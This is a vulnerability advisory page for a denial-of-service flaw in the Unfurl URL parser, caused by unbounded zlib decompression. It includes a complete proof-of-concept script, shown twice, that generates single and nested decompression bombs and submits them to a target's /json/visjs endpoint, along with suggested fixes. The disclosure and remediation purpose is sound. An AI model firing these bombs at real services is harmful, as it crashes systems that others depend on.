GHSA-H5QV-QJV4-PC5M
Vulnerability from github – Published: 2026-01-29 15:31 – Updated: 2026-04-10 17:18
VLAI?
Summary
Unfurl's unbounded zlib decompression allows decompression bomb DoS
Details
Summary
The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.
Details
unfurl/parsers/parse_compressed.pycallszlib.decompress(decoded)with no size limit.- Inputs are accepted from URL components that match base64 patterns.
- Highly compressible payloads can expand orders of magnitude larger than their compressed size.
PoC
- Generate a payload with
security_poc/poc_decompression_bomb.py --generate-only. - The script creates a base64-encoded zlib payload embedded in a URL.
- Submitting the URL to
/json/visjscan cause the server to allocate large amounts of memory. - The script includes a
--testmode but warns it can crash the service.
PoC Script
#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================
This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.
Vulnerability Location:
- parse_compressed.py:81-82:
inflated_bytes = zlib.decompress(decoded) # No maxsize parameter
Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)
Usage:
python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""
import argparse
import base64
import os
import zlib
import requests
import sys
import time
def create_compression_bomb(target_size_mb: int = 100) -> bytes:
"""
Create a compression bomb - small compressed data that expands to target_size_mb.
Compression ratio for zeros can be ~1000:1 or better.
A 1KB compressed payload can expand to ~1MB.
A 100KB payload can expand to ~100MB.
"""
# Create highly compressible data (all zeros)
target_bytes = target_size_mb * 1024 * 1024
uncompressed = b'\x00' * target_bytes
# Compress with maximum compression
compressed = zlib.compress(uncompressed, 9)
compression_ratio = len(uncompressed) / len(compressed)
print(f"[*] Created compression bomb:")
print(f" Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
print(f" Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
print(f" Compression ratio: {compression_ratio:.0f}:1")
return compressed
def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
"""
Create a nested compression bomb (zip bomb style).
Each level multiplies the final size.
Warning: This can create VERY large expansions.
3 levels with 10MB base = 10^3 = 1GB
4 levels with 10MB base = 10^4 = 10GB
"""
print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")
# Start with base payload
data = b'\x00' * (base_size_mb * 1024 * 1024)
for level in range(levels):
data = zlib.compress(data, 9)
print(f" Level {level + 1}: {len(data):,} bytes")
theoretical_size = base_size_mb * (1000 ** levels) # Rough estimate
print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")
return data
def create_recursive_quine_bomb() -> bytes:
"""
Create a recursive decompression scenario.
When decompressed, the output is valid zlib that can be decompressed again.
This exploits any recursive decompression logic.
"""
# This is a simplified version - real quine bombs are more complex
# The concept: output when decompressed is also valid compressed data
# Create a pattern that when decompressed resembles compressed data
# This is primarily theoretical for this vulnerability
base = b'x\x9c' + (b'\x00' * 1000) # Fake zlib header + zeros
return zlib.compress(base * 1000, 9)
def encode_for_unfurl(compressed: bytes) -> str:
"""
Encode compressed data as base64 for URL inclusion.
Unfurl's parse_compressed.py will:
1. Detect base64 pattern
2. Decode base64
3. Attempt zlib.decompress() without size limit
"""
return base64.b64encode(compressed).decode('ascii')
def create_malicious_url(payload: str) -> str:
"""
Create a URL containing the bomb payload.
Multiple injection points are possible.
"""
# As a query parameter value
return f"https://example.com/page?data={payload}"
def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
"""
Submit bomb to Unfurl and monitor for DoS indicators.
"""
api_url = f"{target_url}/json/visjs"
params = {'url': payload_url}
result = {
'submitted': True,
'timeout': False,
'error': None,
'response_time': 0,
'memory_exhaustion_likely': False
}
try:
start = time.time()
response = requests.get(api_url, params=params, timeout=timeout)
result['response_time'] = time.time() - start
result['status_code'] = response.status_code
# Check for error responses indicating resource issues
if response.status_code == 500:
result['error'] = 'Server error - possible memory exhaustion'
result['memory_exhaustion_likely'] = True
elif response.status_code == 503:
result['error'] = 'Service unavailable - DoS successful'
result['memory_exhaustion_likely'] = True
except requests.exceptions.Timeout:
result['timeout'] = True
result['error'] = f'Request timed out after {timeout}s - possible DoS'
result['memory_exhaustion_likely'] = True
except requests.exceptions.ConnectionError as e:
result['error'] = f'Connection error: {e} - server may have crashed'
result['memory_exhaustion_likely'] = True
except Exception as e:
result['error'] = str(e)
return result
def main():
parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
parser.add_argument('--target', default='http://localhost:5000',
help='Target Unfurl instance URL')
parser.add_argument('--size', type=int, default=100,
help='Target decompressed size in MB')
parser.add_argument('--nested', type=int, default=0,
help='Nesting levels for nested bomb (0 = simple bomb)')
parser.add_argument('--test', action='store_true',
help='Actually send the bomb (DANGEROUS)')
parser.add_argument('--generate-only', action='store_true',
help='Only generate payload, do not send')
parser.add_argument('--output', help='Save payload to file')
args = parser.parse_args()
print(f"""
╔═══════════════════════════════════════════════════════════════╗
║ UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT ║
╠═══════════════════════════════════════════════════════════════╣
║ Target: {args.target:<45} ║
║ Expanded Size: {args.size:<45} MB ║
║ Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")
# Generate the bomb
if args.nested > 0:
print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
print(f" Be very careful with nested levels > 2")
if args.nested > 3:
print(f"[!] {args.nested} levels could produce terabytes of data!")
confirm = input(" Continue? (yes/no): ")
if confirm.lower() != 'yes':
sys.exit(0)
compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
else:
compressed = create_compression_bomb(args.size)
# Encode for URL
b64_payload = encode_for_unfurl(compressed)
malicious_url = create_malicious_url(b64_payload)
print(f"\n[*] Payload Statistics:")
print(f" Compressed size: {len(compressed):,} bytes")
print(f" Base64 size: {len(b64_payload):,} bytes")
print(f" URL length: {len(malicious_url):,} bytes")
# Save payload if requested
if args.output:
with open(args.output, 'w') as f:
f.write(malicious_url)
print(f"\n[+] Payload saved to: {args.output}")
# Display truncated payload
print(f"\n[*] Malicious URL (truncated):")
print(f" {malicious_url[:100]}...")
print(f" (Full URL is {len(malicious_url):,} characters)")
# Save full payload for reference
script_dir = os.path.dirname(os.path.abspath(__file__))
payload_path = os.path.join(script_dir, 'bomb_payload.txt')
with open(payload_path, 'w') as f:
f.write(malicious_url)
print(f"\n[+] Full payload saved to: {payload_path}")
# Verify the bomb works locally
print(f"\n[*] Verifying bomb locally (limited test)...")
try:
# Only decompress a small portion to verify it's valid
test_data = zlib.decompress(compressed, bufsize=1024*1024) # 1MB max
print(f" ✅ Bomb is valid - decompresses to zeros")
except Exception as e:
print(f" ❌ Error: {e}")
sys.exit(1)
if args.generate_only:
print("\n[*] Generate-only mode. Not sending payload.")
sys.exit(0)
if not args.test:
print(f"""
╔═══════════════════════════════════════════════════════════════╗
║ SAFETY CHECK ║
╚═══════════════════════════════════════════════════════════════╝
To actually test this vulnerability, run with --test flag.
Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage
Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive
Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
zlib.decompress(data, bufsize=10*1024*1024) # 10MB limit
""")
sys.exit(0)
# Actually test (dangerous!)
print(f"\n[!] SENDING BOMB TO {args.target}")
print(f"[!] This may crash the target service!")
confirm = input(" Type 'CONFIRM' to proceed: ")
if confirm != 'CONFIRM':
print(" Aborted.")
sys.exit(0)
print(f"\n[*] Submitting payload...")
result = test_vulnerability(args.target, malicious_url, timeout=60.0)
print(f"\n[*] Results:")
print(f" Timeout: {result['timeout']}")
print(f" Response time: {result['response_time']:.2f}s")
print(f" Error: {result['error']}")
print(f" Memory exhaustion likely: {result['memory_exhaustion_likely']}")
if result['memory_exhaustion_likely']:
print(f"""
╔═══════════════════════════════════════════════════════════════╗
║ VULNERABILITY CONFIRMED ║
╚═══════════════════════════════════════════════════════════════╝
The target appears vulnerable to decompression bomb attacks.
Evidence:
- {result['error'] or 'Abnormal response observed'}
Recommendation:
Add size limits to zlib.decompress() calls:
# Before (vulnerable):
inflated_bytes = zlib.decompress(decoded)
# After (fixed):
MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024 # 10MB
inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)
Or use streaming decompression with size checks:
decompressor = zlib.decompressobj()
chunks = []
total_size = 0
for chunk in iter(lambda: compressed_data.read(4096), b''):
decompressed = decompressor.decompress(chunk)
total_size += len(decompressed)
if total_size > MAX_SIZE:
raise ValueError("Decompressed data too large")
chunks.append(decompressed)
""")
else:
print("\n[*] Target may not be vulnerable or attack was mitigated.")
if __name__ == '__main__':
main()
Impact
A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "dfir-unfurl"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "20260405"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40036"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-29T15:31:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe compressed data parser uses `zlib.decompress()` without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.\n\n### Details\n- `unfurl/parsers/parse_compressed.py` calls `zlib.decompress(decoded)` with no size limit.\n- Inputs are accepted from URL components that match base64 patterns.\n- Highly compressible payloads can expand orders of magnitude larger than their compressed size.\n\n### PoC\n1. Generate a payload with `security_poc/poc_decompression_bomb.py --generate-only`.\n2. The script creates a base64-encoded zlib payload embedded in a URL.\n3. Submitting the URL to `/json/visjs` can cause the server to allocate large amounts of memory.\n4. The script includes a `--test` mode but warns it can crash the service.\n\n### PoC Script\n```python\n#!/usr/bin/env python3\n\"\"\"\nUnfurl Decompression Bomb Proof of Concept\n==========================================\n\nThis PoC demonstrates a Denial of Service vulnerability in Unfurl\u0027s\ncompressed data parsing. The zlib.decompress() call has no size limits,\nallowing an attacker to submit small payloads that expand to gigabytes.\n\nVulnerability Location:\n- parse_compressed.py:81-82:\n inflated_bytes = zlib.decompress(decoded) # No maxsize parameter\n\nAttack Impact:\n- Memory exhaustion\n- Service crash\n- Resource consumption (cloud cost attacks)\n\nUsage:\n python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]\n\"\"\"\n\nimport argparse\nimport base64\nimport os\nimport zlib\nimport requests\nimport sys\nimport time\n\n\ndef create_compression_bomb(target_size_mb: int = 100) -\u003e bytes:\n \"\"\"\n Create a compression bomb - small compressed data that expands to target_size_mb.\n\n Compression ratio for zeros can be ~1000:1 or better.\n A 1KB compressed payload can expand to ~1MB.\n A 100KB payload can expand to ~100MB.\n \"\"\"\n # Create highly compressible data (all zeros)\n target_bytes = target_size_mb * 1024 * 1024\n uncompressed = b\u0027\\x00\u0027 * target_bytes\n\n # Compress with maximum compression\n compressed = zlib.compress(uncompressed, 9)\n\n compression_ratio = len(uncompressed) / len(compressed)\n\n print(f\"[*] Created compression bomb:\")\n print(f\" Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)\")\n print(f\" Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)\")\n print(f\" Compression ratio: {compression_ratio:.0f}:1\")\n\n return compressed\n\n\ndef create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -\u003e bytes:\n \"\"\"\n Create a nested compression bomb (zip bomb style).\n Each level multiplies the final size.\n\n Warning: This can create VERY large expansions.\n 3 levels with 10MB base = 10^3 = 1GB\n 4 levels with 10MB base = 10^4 = 10GB\n \"\"\"\n print(f\"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base\")\n\n # Start with base payload\n data = b\u0027\\x00\u0027 * (base_size_mb * 1024 * 1024)\n\n for level in range(levels):\n data = zlib.compress(data, 9)\n print(f\" Level {level + 1}: {len(data):,} bytes\")\n\n theoretical_size = base_size_mb * (1000 ** levels) # Rough estimate\n print(f\"[*] Theoretical expanded size: ~{theoretical_size} MB\")\n\n return data\n\n\ndef create_recursive_quine_bomb() -\u003e bytes:\n \"\"\"\n Create a recursive decompression scenario.\n When decompressed, the output is valid zlib that can be decompressed again.\n\n This exploits any recursive decompression logic.\n \"\"\"\n # This is a simplified version - real quine bombs are more complex\n # The concept: output when decompressed is also valid compressed data\n\n # Create a pattern that when decompressed resembles compressed data\n # This is primarily theoretical for this vulnerability\n base = b\u0027x\\x9c\u0027 + (b\u0027\\x00\u0027 * 1000) # Fake zlib header + zeros\n return zlib.compress(base * 1000, 9)\n\n\ndef encode_for_unfurl(compressed: bytes) -\u003e str:\n \"\"\"\n Encode compressed data as base64 for URL inclusion.\n Unfurl\u0027s parse_compressed.py will:\n 1. Detect base64 pattern\n 2. Decode base64\n 3. Attempt zlib.decompress() without size limit\n \"\"\"\n return base64.b64encode(compressed).decode(\u0027ascii\u0027)\n\n\ndef create_malicious_url(payload: str) -\u003e str:\n \"\"\"\n Create a URL containing the bomb payload.\n Multiple injection points are possible.\n \"\"\"\n # As a query parameter value\n return f\"https://example.com/page?data={payload}\"\n\n\ndef test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -\u003e dict:\n \"\"\"\n Submit bomb to Unfurl and monitor for DoS indicators.\n \"\"\"\n api_url = f\"{target_url}/json/visjs\"\n params = {\u0027url\u0027: payload_url}\n\n result = {\n \u0027submitted\u0027: True,\n \u0027timeout\u0027: False,\n \u0027error\u0027: None,\n \u0027response_time\u0027: 0,\n \u0027memory_exhaustion_likely\u0027: False\n }\n\n try:\n start = time.time()\n response = requests.get(api_url, params=params, timeout=timeout)\n result[\u0027response_time\u0027] = time.time() - start\n result[\u0027status_code\u0027] = response.status_code\n\n # Check for error responses indicating resource issues\n if response.status_code == 500:\n result[\u0027error\u0027] = \u0027Server error - possible memory exhaustion\u0027\n result[\u0027memory_exhaustion_likely\u0027] = True\n elif response.status_code == 503:\n result[\u0027error\u0027] = \u0027Service unavailable - DoS successful\u0027\n result[\u0027memory_exhaustion_likely\u0027] = True\n\n except requests.exceptions.Timeout:\n result[\u0027timeout\u0027] = True\n result[\u0027error\u0027] = f\u0027Request timed out after {timeout}s - possible DoS\u0027\n result[\u0027memory_exhaustion_likely\u0027] = True\n except requests.exceptions.ConnectionError as e:\n result[\u0027error\u0027] = f\u0027Connection error: {e} - server may have crashed\u0027\n result[\u0027memory_exhaustion_likely\u0027] = True\n except Exception as e:\n result[\u0027error\u0027] = str(e)\n\n return result\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\u0027Unfurl Decompression Bomb PoC\u0027)\n parser.add_argument(\u0027--target\u0027, default=\u0027http://localhost:5000\u0027,\n help=\u0027Target Unfurl instance URL\u0027)\n parser.add_argument(\u0027--size\u0027, type=int, default=100,\n help=\u0027Target decompressed size in MB\u0027)\n parser.add_argument(\u0027--nested\u0027, type=int, default=0,\n help=\u0027Nesting levels for nested bomb (0 = simple bomb)\u0027)\n parser.add_argument(\u0027--test\u0027, action=\u0027store_true\u0027,\n help=\u0027Actually send the bomb (DANGEROUS)\u0027)\n parser.add_argument(\u0027--generate-only\u0027, action=\u0027store_true\u0027,\n help=\u0027Only generate payload, do not send\u0027)\n parser.add_argument(\u0027--output\u0027, help=\u0027Save payload to file\u0027)\n args = parser.parse_args()\n\n print(f\"\"\"\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551 UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT \u2551\n\u2560\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563\n\u2551 Target: {args.target:\u003c45} \u2551\n\u2551 Expanded Size: {args.size:\u003c45} MB \u2551\n\u2551 Nested Levels: {args.nested:\u003c45} \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\"\"\")\n\n # Generate the bomb\n if args.nested \u003e 0:\n print(f\"\\n[!] Creating NESTED bomb - theoretical size could be enormous!\")\n print(f\" Be very careful with nested levels \u003e 2\")\n if args.nested \u003e 3:\n print(f\"[!] {args.nested} levels could produce terabytes of data!\")\n confirm = input(\" Continue? (yes/no): \")\n if confirm.lower() != \u0027yes\u0027:\n sys.exit(0)\n compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)\n else:\n compressed = create_compression_bomb(args.size)\n\n # Encode for URL\n b64_payload = encode_for_unfurl(compressed)\n malicious_url = create_malicious_url(b64_payload)\n\n print(f\"\\n[*] Payload Statistics:\")\n print(f\" Compressed size: {len(compressed):,} bytes\")\n print(f\" Base64 size: {len(b64_payload):,} bytes\")\n print(f\" URL length: {len(malicious_url):,} bytes\")\n\n # Save payload if requested\n if args.output:\n with open(args.output, \u0027w\u0027) as f:\n f.write(malicious_url)\n print(f\"\\n[+] Payload saved to: {args.output}\")\n\n # Display truncated payload\n print(f\"\\n[*] Malicious URL (truncated):\")\n print(f\" {malicious_url[:100]}...\")\n print(f\" (Full URL is {len(malicious_url):,} characters)\")\n\n # Save full payload for reference\n script_dir = os.path.dirname(os.path.abspath(__file__))\n payload_path = os.path.join(script_dir, \u0027bomb_payload.txt\u0027)\n with open(payload_path, \u0027w\u0027) as f:\n f.write(malicious_url)\n print(f\"\\n[+] Full payload saved to: {payload_path}\")\n\n # Verify the bomb works locally\n print(f\"\\n[*] Verifying bomb locally (limited test)...\")\n try:\n # Only decompress a small portion to verify it\u0027s valid\n test_data = zlib.decompress(compressed, bufsize=1024*1024) # 1MB max\n print(f\" \u2705 Bomb is valid - decompresses to zeros\")\n except Exception as e:\n print(f\" \u274c Error: {e}\")\n sys.exit(1)\n\n if args.generate_only:\n print(\"\\n[*] Generate-only mode. Not sending payload.\")\n sys.exit(0)\n\n if not args.test:\n print(f\"\"\"\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551 SAFETY CHECK \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\nTo actually test this vulnerability, run with --test flag.\n\nManual testing:\n1. Copy the payload URL from {payload_path}\n2. Submit it to the target Unfurl instance\n3. Monitor server memory usage\n\nExpected behavior if vulnerable:\n- Server memory usage spikes dramatically\n- Request hangs or times out\n- Server may crash or become unresponsive\n\nMitigation check:\nThe vulnerability is FIXED if zlib.decompress() is called with\na max_length parameter, e.g.:\n zlib.decompress(data, bufsize=10*1024*1024) # 10MB limit\n\"\"\")\n sys.exit(0)\n\n # Actually test (dangerous!)\n print(f\"\\n[!] SENDING BOMB TO {args.target}\")\n print(f\"[!] This may crash the target service!\")\n confirm = input(\" Type \u0027CONFIRM\u0027 to proceed: \")\n\n if confirm != \u0027CONFIRM\u0027:\n print(\" Aborted.\")\n sys.exit(0)\n\n print(f\"\\n[*] Submitting payload...\")\n result = test_vulnerability(args.target, malicious_url, timeout=60.0)\n\n print(f\"\\n[*] Results:\")\n print(f\" Timeout: {result[\u0027timeout\u0027]}\")\n print(f\" Response time: {result[\u0027response_time\u0027]:.2f}s\")\n print(f\" Error: {result[\u0027error\u0027]}\")\n print(f\" Memory exhaustion likely: {result[\u0027memory_exhaustion_likely\u0027]}\")\n\n if result[\u0027memory_exhaustion_likely\u0027]:\n print(f\"\"\"\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551 VULNERABILITY CONFIRMED \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\nThe target appears vulnerable to decompression bomb attacks.\n\nEvidence:\n- {result[\u0027error\u0027] or \u0027Abnormal response observed\u0027}\n\nRecommendation:\nAdd size limits to zlib.decompress() calls:\n\n # Before (vulnerable):\n inflated_bytes = zlib.decompress(decoded)\n\n # After (fixed):\n MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024 # 10MB\n inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)\n\nOr use streaming decompression with size checks:\n\n decompressor = zlib.decompressobj()\n chunks = []\n total_size = 0\n for chunk in iter(lambda: compressed_data.read(4096), b\u0027\u0027):\n decompressed = decompressor.decompress(chunk)\n total_size += len(decompressed)\n if total_size \u003e MAX_SIZE:\n raise ValueError(\"Decompressed data too large\")\n chunks.append(decompressed)\n\"\"\")\n else:\n print(\"\\n[*] Target may not be vulnerable or attack was mitigated.\")\n\n\nif __name__ == \u0027__main__\u0027:\n main()\n```\n\n### Impact\nA remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).",
"id": "GHSA-h5qv-qjv4-pc5m",
"modified": "2026-04-10T17:18:36Z",
"published": "2026-01-29T15:31:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/obsidianforensics/unfurl/security/advisories/GHSA-h5qv-qjv4-pc5m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40036"
},
{
"type": "WEB",
"url": "https://github.com/RyanDFIR/unfurl/pull/243"
},
{
"type": "WEB",
"url": "https://github.com/RyanDFIR/unfurl/commit/7cc711a65b106742a21080b755f81c17b5725aa8"
},
{
"type": "WEB",
"url": "https://github.com/RyanDFIR/unfurl/releases/tag/v2026.04"
},
{
"type": "PACKAGE",
"url": "https://github.com/obsidianforensics/unfurl"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/dfir-unfurl-denial-of-service-via-unbounded-zlib-decompression"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Unfurl\u0027s unbounded zlib decompression allows decompression bomb DoS"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…